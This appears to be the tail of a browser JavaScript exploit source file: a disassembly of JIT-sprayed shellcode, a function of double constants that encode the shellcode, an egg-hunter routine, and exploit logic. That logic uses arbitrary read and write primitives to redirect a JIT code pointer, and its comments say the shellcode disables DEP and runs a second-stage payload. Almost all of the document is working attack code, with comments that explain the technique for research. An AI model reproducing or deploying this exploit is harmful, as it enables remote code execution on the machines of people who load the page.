000002C6944D4B16 | 49:BB 30B14E5825000000 | mov r11,25584EB130 000002C6944D4B20 | 41:53| push r11 000002C6944D4B22 | E8 C9C6FBFF| call 2C6944911F0 000002C6944D4B27 | CC | int3 000002C6944D4B28 | 6A 00| push 0 000002C6944D4B2A | E9 11000000| jmp 2C6944D4B40 000002C6944D4B2F | 50 | push rax 000002C6944D4B30 | 68 20080000| push 820 000002C6944D4B35 | E8 5603FCFF| call 2C694494E90 000002C6944D4B3A | 58 | pop rax 000002C6944D4B3B | E9 85F9FFFF| jmp 2C6944D44C5 000002C6944D4B40 | 6A 00| push 0 000002C6944D4B42 | E9 D9C5FBFF| jmp 2C694491120 000002C6944D4B47 | F4 | hlt 000002C6944D4B48 | 41414141:0000| add byte ptr ds:[r8],al<- JIT sprayed egg double 000002C6944D4B4E | 0000 | add byte ptr ds:[rax],al 000002C6944D4B50 | 90 | nop<- JIT sprayed shellcode begins here 000002C6944D4B51 | 90 | nop 000002C6944D4B52 | 55 | push rbp 000002C6944D4B53 | 48:89E5| mov rbp,rsp 000002C6944D4B56 | 48:83EC 40 | sub rsp,40 000002C6944D4B5A | 48:83EC 08 | sub rsp,8 000002C6944D4B5E | 40:80E4 F7 | and spl,F7 000002C6944D4B62 | 48:B8 1122334455667788 | mov rax,8877665544332211 000002C6944D4B6C | 48:8945 C8 | mov qword ptr ss:[rbp-38],rax 000002C6944D4B70 | 48:C7C1 884E0D00 | mov rcx,D4E88 000002C6944D4B77 | E8 F9000000| call 2C6944D4C75   This then introduces another constaint on JIT spraying beyoond forcing your assembly bytecode to be 100% valid double floats. You are also limited to a maximum of 100 doubles (800 bytes) including your egg prefix. */   function JITSprayFunc(){ Egg = 5.40900888e-315; // AAAA\x00\x00\x00\x00 X1 = 58394.27801956298; X2 = -3.384548150597339e+269; X3 = -9.154525457562153e+192; X4 = 4.1005939302288804e+42; X5 = -5.954550387086224e-264; X6 = -6.202600667005017e-264; X7 = 3.739444822644755e+67; X8 = -1.2650161464211396e+258; X9 = -2.6951286493033994e+35; X10 = 1.3116505146398627e+104; X11 = -1.311379727091241e+181; X12 = 1.1053351980286266e-265; X13 = 7.66487078033362e+42; X14 = 1.6679557218696946e-235; X15 = 1.1327634929857868e+27; X16 = 6.514949632148056e-152; X17 = 3.75559130646382e+255; X18 = 8.6919639111614e-311; X19 = -1.0771492276655187e-142; X20 = 1.0596460749348558e+39; X21 = 4.4990090566228275e-228; X22 = 2.6641556100123696e+41; X23 = -3.695293685173417e+49; X24 = 7.675324624976707e-297; X25 = 5.738262935249441e+40; X26 = 4.460149175031513e+43; X27 = 8.958658002980807e-287; X28 = -1.312880373645135e+35; X29 = 4.864674571015197e+42; X30 = -2.500435320470142e+35; X31 = -2.800945285957394e+277; X32 = 1.44103957698964e+28; X33 = 3.8566513062216665e+65; X34 = 1.37405680231e-312; X35 = 1.6258034990195507e-191; X36 = 1.5008582713363865e+43; X37 = 3.1154847750709123; X38 = -6.809578792021008e+214; X39 = -7.696699288147737e+115; X40 = 3.909631192677548e+112; X41 = 1.5636948002514616e+158; X42 = -2.6295656969507476e-254; X43 = -6.001472476578534e-264; X44 = 9.25337251529007e-33; X45 = 4.419915842157561e-80; X46 = 8.07076629722016e+254; X47 = 3.736523284e-314; X48 = 3.742120352320771e+254; X49 = 1.0785207713761078e-32; X50 = -2.6374368557341455e-254; X51 = 1.2702053652464168e+145; X52 = -1.3113796337500435e+181; X53 = 1.2024564583763433e+111; X54 = 1.1326406542153807e+104; X55 = 9.646933740426927e+39; X56 = -2.5677414592270957e-254; X57 = 1.5864445474697441e+233; X58 = -2.6689139052065564e-251; X59 = 1.0555057376604044e+27; X60 = 8.364524068863995e+42; X61 = 3.382975178824556e+43; X62 = -8.511722322449098e+115; X63 = -2.2763239573787572e+271; X64 = -6.163839243926498e-264; X65 = 1.5186209005088964e+258; X66 = 7.253360348539147e-192; X67 = -1.2560830051206045e+234; X68 = 1.102849544e-314; X69 = -2.276324008154652e+271; X70 = 2.8122150524016884e-71; X71 = 5.53602304257365e-310; X72 = -6.028598990540894e-264; X73 = 1.0553922879130128e+27; X74 = -1.098771600725952e-244; X75 = -2.5574368247075522e-254; X76 = 3.618778572061404e-171; X77 = -1.4656824334476123e+40; X78 = 4.6232700581905664e+42; X79 = -3.6562604268727894e+125; X80 = -2.927408487880894e+78; X81 = 1.087942540606703e-309; X82 = 6.440226123500225e+264; X83 = 3.879424446462186e+148; X84 = 3.234472631797124e+40; X85 = 1.4186706350383543e-307; X86 = 1.2617245769382784e-234; X87 = 1.3810793979336581e+43; X88 = 1.565026152201332e+43; X89 = 5.1402745833993635e+153; X90 = 9.63e-322; }   function EggHunter(TargetAddressDbl) { HelperDbl[0] = TargetAddressDbl;   for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT&apos;d function, the more handler code seems to precede them. DblVal = ExplicitLeakDbl(HelperDbl[0]); // The JIT&apos;d ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads.   if(DblVal == 5.40900888e-315) { HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode return HelperDbl[0]; }   HelperDword[0] = HelperDword[0] + 8; }   return 0.0; }     //////// //////// // Primary high level exploit logic ////////   function Exploit() { for(var i = 0; i < JITIterations; i++) { JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory }   HelperDbl[0] = WeakLeakObjectAddress(JITSprayFunc); // The JSFunction object address associated with the (now JIT compiled) shellcode data. HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct. JITInfoAddress = WeakLeakDbl(HelperDbl[0]); HelperDbl[0] = JITInfoAddress;   // Verify that MutableArray.x was not its initialized value during the last arbitrary read. This would only be the case if the slots ptr has NEVER been successfully overwritten post-addrof primitive (the address we attempted to read was not a valid double).   if(HelperDword[0] == 0x41414141) { DebugLog("Arbitrary read primitive failed"); window.location.reload(); } else { // Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer)   HelperDbl[0] = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT&apos;d shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct) DebugLog("Shellcode function object JIT code pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16)); JITCodePtr = HelperDbl[0]; ExplicitDblArrayAddress = WeakLeakObjectAddress(ExplicitDblArray); HelperDbl[0] = ExplicitDblArrayAddress; HelperDword[0] = HelperDword[0] + 56; // Float64Array data pointer ExplicitDblArrayDataPtr = HelperDbl[0]; ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags   if(ShellcodeAddress) { // Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT&apos;d function   WeakWriteDbl(JITInfoAddress, ShellcodeAddress); JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large (as in the case of the WPAD shellcode) a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS. } else { DebugLog("Failed to resolve shellcode address"); } } }   Exploit();